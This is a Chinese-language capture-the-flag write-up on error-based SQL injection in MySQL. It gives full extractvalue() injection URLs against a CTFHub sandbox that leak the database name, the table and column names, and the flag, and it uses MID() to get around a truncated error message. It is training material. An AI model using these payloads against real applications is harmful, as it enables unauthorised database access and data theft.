报错注入

点击此处获得更好的阅读体验


WriteUp来源

本WP来自pandaknight原创投稿

题目考点

  • 报错注入

  • MySQL

解题思路

尝试报错函数

发现可以用extractvalue(),错误信息能够显示当前使用的数据库名称为sqli

1
2
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+

爆表名

获取表名,推断flag表有我们想要的东西

1
2
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

爆列名

获取列名,flag表的flag字段或许就是我们的目标了

1
2
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

爆数据

初次尝试,发现显示结果不全,推测此题对回显长度有限制

1
2
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

方法一:MID函数

MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
  • 提取查询结果前16个字符

    1
    2
    http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
    ?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))--+

  • 提取剩余字符

    1
    2
    http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
    ?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))--+

  • 拼接得到flag

方法二:直接select

取巧的方法

1
2
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))--+